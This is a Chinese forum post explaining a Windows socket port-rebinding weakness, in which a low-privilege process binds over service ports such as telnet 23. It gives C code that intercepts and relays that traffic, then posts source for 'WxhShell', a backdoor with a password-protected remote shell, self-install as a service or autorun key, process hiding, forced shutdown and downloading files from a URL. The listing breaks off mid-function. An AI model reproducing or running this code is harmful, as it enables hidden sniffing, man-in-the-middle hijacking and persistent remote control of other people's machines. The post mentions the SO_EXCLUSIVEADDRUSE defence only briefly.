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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w7Do#Cv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ByR%2_6&  
w6 C0]vh  
  saddr.sin_family = AF_INET; GX4HW \>a  
)4oTA@wR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jYAD9v%  
KiXXlaOs  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _YVp$aKDR  
B j!{JcM-^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O+vuv,gNi  
]Lg$p  
  这意味着什么?意味着可以进行如下的攻击: u<`CkYT  
Zy0u@``  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q v/}WnBk  
8 VMe#41  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C3|(XChqC  
;>?NH6B,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _tE`W96J  
PprCz"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  98u$5=Z' /  
OhT?W[4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n[#!Q`D  
=]r<xON%S  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 STMc@MeZU_  
?nOul}y/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 --SlxV/x  
n6T@A;_g  
  #include iU^KmM I  
  #include DgOO\  
  #include b/N+X}VMN  
  #include    'F[m,[T%x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mSSDV0Pfn  
  int main() `TvpKS5.Y  
  { I$@0FSl  
  WORD wVersionRequested; Y*-#yG9  
  DWORD ret; (ly4[G1y  
  WSADATA wsaData; #T0uPK ;  
  BOOL val; %u"3&kOV  
  SOCKADDR_IN saddr; w}="}Cb  
  SOCKADDR_IN scaddr; ;0lHi4 c0  
  int err; +an.z3?w  
  SOCKET s; BM+v,hGY  
  SOCKET sc; 'UGkL;  
  int caddsize; _hgu:  
  HANDLE mt; sqkk 4w1#C  
  DWORD tid;   uveby:dh  
  wVersionRequested = MAKEWORD( 2, 2 ); {[V<mT2/  
  err = WSAStartup( wVersionRequested, &wsaData ); Hk'D@(h S  
  if ( err != 0 ) { p<#WueR[  
  printf("error!WSAStartup failed!\n"); 5 rpX"(  
  return -1; G]Fp},  
  } ?1\rf$l8  
  saddr.sin_family = AF_INET; w0n.Y-v4i  
    b,] QfC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2y/|/IW=  
eh=.Q<N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HyKvDJ 3_  
  saddr.sin_port = htons(23); "F nH>g-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qV^Z@N+,  
  { E/MD]ox  
  printf("error!socket failed!\n"); w'NL\>  
  return -1; 3ZO\P u  
  } `Paz   
  val = TRUE; j2A Z.s  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 df}DJB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nH*JR  
  { R"NR-iU  
  printf("error!setsockopt failed!\n"); J[6`$$l0  
  return -1; rPf<8oH  
  } 9ohaU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]"Y? ZS;H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G:'hT=8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xVOoYr>O  
fUy:TCS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SJ(<u2J]  
  { K0hmRR=  
  ret=GetLastError(); X wvH  
  printf("error!bind failed!\n"); eEvE3=,hg  
  return -1; y \M]\^[7  
  } #bN'N@|  
  listen(s,2); DEj6 ky  
  while(1) @LQe[`  
  { !zc?o?~z  
  caddsize = sizeof(scaddr); ~I'1\1  
  //接受连接请求 {OA2';3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~\;s}Fv.  
  if(sc!=INVALID_SOCKET) JDi\?m d.  
  { L\1&$|?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u-yVc*<,  
  if(mt==NULL) R(jp  
  { b^WTX  
  printf("Thread Creat Failed!\n"); hfUN~89;  
  break; /DxaKZ ;b  
  } s,&tD WU  
  } MM_c{gFF  
  CloseHandle(mt); ~?l>QP|o  
  } v<+5B5"1  
  closesocket(s); 8t4o}3>  
  WSACleanup(); rVo0H.+N)`  
  return 0; =1qM`M   
  }   #^|"dIZ_M  
  DWORD WINAPI ClientThread(LPVOID lpParam) vumA W*  
  { #9Src\V  
  SOCKET ss = (SOCKET)lpParam; ;JQ:S~K9  
  SOCKET sc; q]}fW)r  
  unsigned char buf[4096]; ;onhc*{lv  
  SOCKADDR_IN saddr; i7N|p9O.  
  long num; wGRMv1|lIu  
  DWORD val; 9 b?Nlk8d  
  DWORD ret; rUJIf;Zwo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yHrYSEM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z=YHRS  
  saddr.sin_family = AF_INET; r$7zk<01  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1DzI@c~X  
  saddr.sin_port = htons(23); -M{.KqyW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mU d['Z  
  { ?]1_ 2\M  
  printf("error!socket failed!\n"); (e,5 b  
  return -1; <d&9`e1Hc  
  } 1?6zsA%N  
  val = 100; &w4~0J>v!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bq+ Q$#F2X  
  { V 4~`yT?*"  
  ret = GetLastError(); (RhGBgp  
  return -1; =a!w)z_rw  
  } gK8E|f-z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S5a?KU  
  { ?g7O([*[  
  ret = GetLastError(); E@uxEF  
  return -1; H_ecb;|mP  
  } tCoT-\Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [^rMM1^,OB  
  { (P=q&]l[  
  printf("error!socket connect failed!\n"); h5+L/8+J^z  
  closesocket(sc); ()Cw;N{E  
  closesocket(ss); <G+IbUG:  
  return -1; K<#Q;(SFU  
  } `dp]N0nz  
  while(1) YwYCXFQ|  
  { 8v|?g8e3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2m! T .$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Tj[=E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $7\!  
  num = recv(ss,buf,4096,0); g#??Mz   
  if(num>0) .=I:cniw\r  
  send(sc,buf,num,0); }{3XbvC  
  else if(num==0) BRSOE U\=  
  break; g`NJ `  
  num = recv(sc,buf,4096,0); Ms * `w5n  
  if(num>0) !:zWhu,  
  send(ss,buf,num,0); 2|n)ZP2cp  
  else if(num==0) p`oSI}ZwB  
  break; r]6X  
  } %d%$jF`  
  closesocket(ss); Ug2^cgL  
  closesocket(sc); ?G|*=-8  
  return 0 ; v;=| -y  
  } `XmT)C  
PPj_NV  
295U<  
========================================================== u)NmjW  
:h(r2?=7  
下边附上一个代码,,WXhSHELL  xRTr@  
Y1=.46Ezf  
========================================================== j B.ZF7q  
n#\ t_/\  
#include "stdafx.h" z8 n=\xL  
e7# B?  
#include <stdio.h> M2{AaYgD  
#include <string.h> Y\Grf$e  
#include <windows.h> Zo12F**{  
#include <winsock2.h> @ +iO0?f  
#include <winsvc.h> v +$3Z5  
#include <urlmon.h> 8D)I~0\  
62YT)/i3  
#pragma comment (lib, "Ws2_32.lib") q-k~L\Ys  
#pragma comment (lib, "urlmon.lib") B#Q=Fo 6  
\os iY ^  
#define MAX_USER   100 // 最大客户端连接数 XFS"~{  
#define BUF_SOCK   200 // sock buffer <E&[sQ|3  
#define KEY_BUFF   255 // 输入 buffer ~WKcO&  
94Hs.S)  
#define REBOOT     0   // 重启 "{1SDbwmMo  
#define SHUTDOWN   1   // 关机 Ho_ 2zx:8b  
m h5ozv$  
#define DEF_PORT   5000 // 监听端口 +6i~Rx>  
7K.in3M(  
#define REG_LEN     16   // 注册表键长度 !+F6Bf  
#define SVC_LEN     80   // NT服务名长度 Bkq3-rX\  
0P%,1M3d  
// 从dll定义API |o5F%1o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~ "IjT'W3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xklXV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P.j0Xlof  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `3QAXDWE  
(*XSr Q  
// wxhshell配置信息 X6Y<pw`y  
struct WSCFG { n#.~XNbxv  
  int ws_port;         // 监听端口 8*-N@j8  
  char ws_passstr[REG_LEN]; // 口令 Uiz#QGt  
  int ws_autoins;       // 安装标记, 1=yes 0=no XZ3)gYQi  
  char ws_regname[REG_LEN]; // 注册表键名 Y)7LkZO(y  
  char ws_svcname[REG_LEN]; // 服务名 uyfH;9L5$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q^Lk^PP7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i^O(JC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v})-:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z: e|~#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @C=Dk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `g~T #U\>d  
S,'y L7s  
}; =Y-ZI  
N8-!}\,  
// default Wxhshell configuration (:TZ~"VY  
struct WSCFG wscfg={DEF_PORT, QnJ(C]cW  
    "xuhuanlingzhe", 'x{E#4A  
    1, *pZhwO !D  
    "Wxhshell", kv)IG$S 0  
    "Wxhshell", # $dk  
            "WxhShell Service", FK:Tni  
    "Wrsky Windows CmdShell Service", LYV\|a{Y  
    "Please Input Your Password: ", 6Z,j^: B  
  1, 5|pPzEA>  
  "http://www.wrsky.com/wxhshell.exe", %YhM?jMW  
  "Wxhshell.exe"  > h>  
    }; *fIb|r  
1638U 1  
// 消息定义模块 HpQuro'Qh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tsqkV7?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; chQCl3&e^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FVw4BUOmi  
char *msg_ws_ext="\n\rExit."; :v(fgS2\  
char *msg_ws_end="\n\rQuit."; -9(9LU2  
char *msg_ws_boot="\n\rReboot..."; 0~;Owu  
char *msg_ws_poff="\n\rShutdown..."; ;t_'87h$y  
char *msg_ws_down="\n\rSave to "; P%nN#Qm  
);~JyoDo  
char *msg_ws_err="\n\rErr!"; m%[Ul@!V  
char *msg_ws_ok="\n\rOK!"; :I)WSXP9h  
= ;!$Qw4  
char ExeFile[MAX_PATH]; jJ B+UF=  
int nUser = 0; .8I\=+Zi  
HANDLE handles[MAX_USER]; T*'?;u  
int OsIsNt; %~$P.Zh  
>3J?O96|f  
SERVICE_STATUS       serviceStatus; >w}5\ 4j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GmJ4AYEP  
$!Pm*s  
// 函数声明 }CoR$K   
int Install(void); .dM|J'`g  
int Uninstall(void); Z_tK3kQa@&  
int DownloadFile(char *sURL, SOCKET wsh); ^kElb;d  
int Boot(int flag); YgFmJ.1  
void HideProc(void); \]a@ NBv  
int GetOsVer(void); bV~z}V&  
int Wxhshell(SOCKET wsl); ;rK= jz^Q  
void TalkWithClient(void *cs); UF$JVb  
int CmdShell(SOCKET sock); Z WVN(U  
int StartFromService(void); kg@Okz N%  
int StartWxhshell(LPSTR lpCmdLine); a#_=c>h;  
4)zHkN+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GIyb0XjTw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "B^c  
eOdB<He36  
// 数据结构和表定义 [RqL0EP  
SERVICE_TABLE_ENTRY DispatchTable[] = Z^'i16  
{ HF\|mL  
{wscfg.ws_svcname, NTServiceMain}, K< ;I*cAX  
{NULL, NULL} 5Lo\[K >j  
}; X`n)]~  
!MNnau%O  
// 自我安装 rda/  
int Install(void) YV p sf8R  
{ ! qF U  
  char svExeFile[MAX_PATH]; \*(A1Vk  
  HKEY key; j\o<r0I  
  strcpy(svExeFile,ExeFile); "%~Jb dx  
:MIJfr>z  
// 如果是win9x系统,修改注册表设为自启动 ?)# qBE ]  
if(!OsIsNt) { 5,;>b^gXY`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z/p>>SCak  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !T<4em8  
  RegCloseKey(key); U<aT%^_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rx}*I00  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B]""%&! O  
  RegCloseKey(key); )fRZ}7k:  
  return 0; xlW`4\ Pa  
    } @5i m*ubzM  
  } .w .`1 g   
} S*5hO) C  
else { \@3B%RW0  
:nYnTo`  
// 如果是NT以上系统,安装为系统服务 4~bbng  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >3v j<v}m  
if (schSCManager!=0) pel{ ;r  
{ >Fzs%]M  
  SC_HANDLE schService = CreateService @`,~d{ziF  
  ( )U?O4| \P  
  schSCManager, D (>,#F  
  wscfg.ws_svcname,  dkr[B' n  
  wscfg.ws_svcdisp, d[p-zn.  
  SERVICE_ALL_ACCESS, fH#*r|~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 49gm=XPm  
  SERVICE_AUTO_START, )C@O7m*.4  
  SERVICE_ERROR_NORMAL, 8~~*/oCoJt  
  svExeFile, 9Ez>srH(  
  NULL, e)#O-y  
  NULL, /p&V72  
  NULL, 5vfzSJ  
  NULL, &"h 9Awn2  
  NULL g ss 3e&  
  ); e?V7<7$  
  if (schService!=0) TVVr<r  
  { 0pC}+ +  
  CloseServiceHandle(schService); 9}=]oX!+V  
  CloseServiceHandle(schSCManager); ;F/yS2p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 323zR*\m  
  strcat(svExeFile,wscfg.ws_svcname); cg]\R1Gm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n.323tNY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); " 0:&x n8L  
  RegCloseKey(key); ;aY.CgX  
  return 0; >Z\{P8@k0  
    } d"P\ =`+  
  } N>+s8L.?  
  CloseServiceHandle(schSCManager); W`qiPLk  
} 8 BHtN  
} Tx+Bkfj  
h8ikM&fl  
return 1; Y%i=u:}fm  
} +i@r-OL   
2$fFl,v!z  
// 自我卸载 P_[A  
int Uninstall(void) -Tzp;o  
{ {#Lj,o  
  HKEY key; S m%\,/3  
+p:?blG  
if(!OsIsNt) { } ^}fx [  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #TXN\YNP  
  RegDeleteValue(key,wscfg.ws_regname); BeNH"Y:E  
  RegCloseKey(key); 1&Fty'p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4GiHp7Y&A  
  RegDeleteValue(key,wscfg.ws_regname); n0nvp@?7bJ  
  RegCloseKey(key); @jKiE%OP  
  return 0; J#```cB  
  } 5)T=^"IHXi  
} |9 Gng`)  
} &V$qIvN$  
else { kvdiDo  
o~_wx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B;3lF ;3`  
if (schSCManager!=0) sy ]k  
{ u(Y! _  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [\Ks+S  
  if (schService!=0) &yQilyU{V  
  { o:p6[SGd  
  if(DeleteService(schService)!=0) { {N \ri{|  
  CloseServiceHandle(schService); J0 [^hH  
  CloseServiceHandle(schSCManager); `YK2hr  
  return 0; iq25|{1$  
  } &V.\Svm8]  
  CloseServiceHandle(schService); :Z}d#Rbl  
  } ]d}h`!:  
  CloseServiceHandle(schSCManager); HB>&}z0  
} ir72fSe  
} a-A>A_.  
!zu YO3:  
return 1; O!,WH?r  
}  ?^8CD.|  
xb N)z  
// 从指定url下载文件  ]\qbe  
int DownloadFile(char *sURL, SOCKET wsh) Eeumi#$Z   
{ 2/T4.[`t  
  HRESULT hr; k^JV37;bl  
char seps[]= "/"; c]eDTbXd  
char *token; !4"!PrZDB  
char *file; ;2NJkn9t  
char myURL[MAX_PATH]; nB~hmE)  
char myFILE[MAX_PATH]; _RTJEG  
yFD3:;}  
strcpy(myURL,sURL); 3U_-sMOB|  
  token=strtok(myURL,seps); ,n}h_ct  
  while(token!=NULL) ~x!"(  
  { y@T 0 jI  
    file=token; ut<0-  
  token=strtok(NULL,seps); i gyTvt!  
  } r I-A)b4  
\$g,Hgp/<  
GetCurrentDirectory(MAX_PATH,myFILE); [SJ)4e|)  
strcat(myFILE, "\\"); i;CVgdQ8  
strcat(myFILE, file); fP:n=A{  
  send(wsh,myFILE,strlen(myFILE),0); G$eA(GE   
send(wsh,"...",3,0); 6> fQe8Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IbC8DDTD  
  if(hr==S_OK) ,y>%m;jL  
return 0; ;Sc}e/WJj  
else |8|_^`  
return 1; rz@FUU:&  
$jc&Tk#  
} dN8@ 0AMSf  
LU=<? "N6  
// 系统电源模块 75^U<Hz-3{  
int Boot(int flag) 9{A[n}  
{ ^|P/D  
  HANDLE hToken; -$x5[6bN  
  TOKEN_PRIVILEGES tkp; ;Nd,K C0k  
r?:zKj8/u  
  if(OsIsNt) { nn1T5;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fMRv:kNAt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C:?mOM#_  
    tkp.PrivilegeCount = 1; dR^7d _!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }.L\O]~{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pPa3byWf  
if(flag==REBOOT) { ib-)T7V`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1+{V^) V?  
  return 0; FC +}gJ(q  
} 6]Vf`i  
else { ,>AA2@6zMT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GY%2EM(  
  return 0; 9On0om>  
} _#SCjFz  
  } M<%g)jn_  
  else { f4b`*KGf  
if(flag==REBOOT) { lCX*Q{s22  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )zKZ<;#y  
  return 0; 4P>4d +  
} Dh4 EP/=z  
else { 'X$J+s}6&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) si!jB%^  
  return 0; Qw,{"J  
} mZ[tB/  
} 0tFR. sS?  
jQV.U~25Q  
return 1; 5LkpfmR  
} zFFip/z\  
KeGGF]=>  
// win9x进程隐藏模块 Os5Xejh`I  
void HideProc(void) |})7\o  
{ >l$qE  
cD6T4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S, *  
  if ( hKernel != NULL ) <Rno ;  
  { GY~Q) Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A_ftf 7,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -(Z%?]+  
    FreeLibrary(hKernel); 3jJd)C R  
  } ` 465 H  
2JMMNpya  
return; /_?y]Ly[r  
} 1p|h\H  
HgY>M`U  
// 获取操作系统版本 /Tc I  
int GetOsVer(void) |E(`9  
{ ZDhl$m [m  
  OSVERSIONINFO winfo; JDI1l_Ga  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); : U Yn  
  GetVersionEx(&winfo); *%(BE*C}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zYz0R:@n+  
  return 1; s (hJ *  
  else '1Z3MjX  
  return 0; S{l >|N2q  
} ` &E-  
1c2zFBl.&  
// 客户端句柄模块 SXJ]()L?[v  
int Wxhshell(SOCKET wsl) (c'kZ9&  
{ T``O!>J  
  SOCKET wsh; v=Y) A?  
  struct sockaddr_in client; 5>nb A8  
  DWORD myID; 'A#bBn,|  
jkrv2 `"  
  while(nUser<MAX_USER) jx?"m=`s:  
{ "fq8)  
  int nSize=sizeof(client); $7'K]'UJXO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rDEd MT  
  if(wsh==INVALID_SOCKET) return 1; !L ({i')  
ITmW/Im5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W3HTQGV  
if(handles[nUser]==0) U~}cib5W5  
  closesocket(wsh); #A@d;U%  
else FL/395 <:  
  nUser++; ,5 ylrE  
  } Tg-HR8}X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^gu;  
>~vZ+YO  
  return 0; tw*n+{]hi  
} g3h:oQCS  
Ed^F_Gg#  
// 关闭 socket E979qKl  
void CloseIt(SOCKET wsh) $YPQi.  
{ x392uS$#  
closesocket(wsh); <:YD.zAh|  
nUser--; G^6\OOSy  
ExitThread(0); D$vP&7pOr4  
} \U\k$ (  
7Gs0DwV  
// 客户端请求句柄 V1 :aR3*!  
void TalkWithClient(void *cs) 1f/8XxTB  
{ KD*q|?Z  
b~L8m4L  
  SOCKET wsh=(SOCKET)cs; ss4<s 5:y  
  char pwd[SVC_LEN]; flr&+=1?D  
  char cmd[KEY_BUFF]; qUuvM  
char chr[1]; 1^HUu"Kt  
int i,j; Zi4Ektj2  
wfJ[" q   
  while (nUser < MAX_USER) { z"*$ .  
&58TX[#  
if(wscfg.ws_passstr) { )`V__^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t%'0uB#v1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }2;{ }J  
  //ZeroMemory(pwd,KEY_BUFF); D_(K{? KU  
      i=0; 1}#RUqFrvS  
  while(i<SVC_LEN) { km[ PbC  
q*36/I  
  // 设置超时 GO|EeM!iB  
  fd_set FdRead; \.AI;^)X@]  
  struct timeval TimeOut; L[LgQ7es Q  
  FD_ZERO(&FdRead); ;i,:F`b~  
  FD_SET(wsh,&FdRead); Z,ZebS@yG  
  TimeOut.tv_sec=8; #2U4}#Mi  
  TimeOut.tv_usec=0; ]di9dLT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \~{b;$N}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EvJ"%:bp  
Z7@~#)3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aN}l&4d  
  pwd=chr[0]; xn`<g|"#  
  if(chr[0]==0xd || chr[0]==0xa) { 1$^=M[v  
  pwd=0; puPYM"  
  break; ==W`qC4n?n  
  } HbUadPr  
  i++; $S(q;Y  
    } ]L?DV3N  
(!iGQj(m  
  // 如果是非法用户,关闭 socket rQ!X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UB7H`)C}  
} j%Cr)' H?  
Z?o?"|o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ac@ zTK6>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7lJs{$ P  
jh*aD=y  
while(1) { {+.ai8  
R2%>y5dD  
  ZeroMemory(cmd,KEY_BUFF); 4t<l9Ilp  
AWqc?K@   
      // 自动支持客户端 telnet标准   *\5o0~~8J  
  j=0; U}]uPvu  
  while(j<KEY_BUFF) { ?xgrr7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N`Q[OFe  
  cmd[j]=chr[0]; 0 3/ <A^  
  if(chr[0]==0xa || chr[0]==0xd) { iO?Sf8yJ:  
  cmd[j]=0; *?Pbk+}%  
  break; TM1D|H  
  } $!-a)U,w$B  
  j++; ktMUTL(B  
    } 4qc 0QA%  
3"pl="[*  
  // 下载文件 TiF2c#Q*y  
  if(strstr(cmd,"http://")) { ;&9A Yh.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *z{.9z`  
  if(DownloadFile(cmd,wsh)) _?IP}}jA:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )ZP-t!).G#  
  else >a aHN1Ca  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _H (:$=$Q  
  } HR> X@g<c  
  else { [61T$.  
WV8?zB1  
    switch(cmd[0]) { lW8!_h"G`n  
  NL-<K  
  // 帮助 !]v&/  
  case '?': { NxyrP**j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g^qbd$}  
    break; ~_YU%y  
  } 5Tt%<#4  
  // 安装 o3oAk10  
  case 'i': { 1Z+\>~8  
    if(Install()) KJf~9w9U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q5N;MpJ-  
    else :le"FFfk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2' 8$I}h  
    break; pSLv1d"9{  
    } D#~S< >u@  
  // 卸载 <g^!xX<r?  
  case 'r': { Owa]ax5  
    if(Uninstall()) 3?"JFfYU,'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `PY>p!E  
    else ji|`S\u#b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NSPa3NE  
    break; mh4`,N  
    } tl:+wp7P`  
  // 显示 wxhshell 所在路径 ~D9VjXfL)  
  case 'p': { )= ,Lfj8x  
    char svExeFile[MAX_PATH]; \AT]$`8@_  
    strcpy(svExeFile,"\n\r"); J6) &b7  
      strcat(svExeFile,ExeFile); =:!$'q:  
        send(wsh,svExeFile,strlen(svExeFile),0); !/},k"p6  
    break; PI~W6a7p  
    } z z4.gkU  
  // 重启 mN9Uyz5G  
  case 'b': { 7JedS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m#(tBfH[  
    if(Boot(REBOOT)) (M5{y` Kk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2[*r9%W  
    else { R&Oqm hT!  
    closesocket(wsh); (;11xu  
    ExitThread(0); 9_6.%qj&  
    } \G}$+  
    break; DB^"iof  
    } V`n;W6Q17  
  // 关机 -UPlQL  
  case 'd': { 3]X9 z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jhyb{i8RR  
